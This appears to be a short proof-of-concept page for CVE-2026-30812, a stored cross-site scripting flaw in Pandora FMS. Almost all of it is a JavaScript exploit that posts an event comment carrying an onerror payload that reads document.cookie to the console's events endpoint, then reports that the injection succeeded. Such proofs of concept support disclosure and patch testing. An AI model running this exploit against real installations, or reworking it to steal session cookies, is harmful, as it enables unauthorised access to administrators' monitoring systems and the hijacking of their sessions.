CVE-2026-30812 Pandora FMS 存储型XSS漏洞

// Proof of Concept for CVE-2026-30812 // Demonstrates Stored XSS via event comments in Pandora FMS // Target endpoint for adding comments (Example) let targetUrl = "https://vulnerable-pandora-fms.com/pandora_console/index.php?sec=eventos&sec2=operation/events/events"; // Malicious XSS Payload to be stored in the comment let payload = "<img src=x onerror=alert(document.cookie)>"; // Constructing the POST request data let params = new URLSearchParams(); params.append('page', 'operation/events/events'); params.append('action', 'add_comment'); params.append('id_event', '12345'); // Valid Event ID params.append('comment', payload); // Injected payload // Sending the request (Requires authenticated session cookie) fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: params }).then(response => { if (response.ok) { console.log('Payload injected successfully. Check the event log to trigger XSS.'); } }).catch(error => console.error('Error:', error));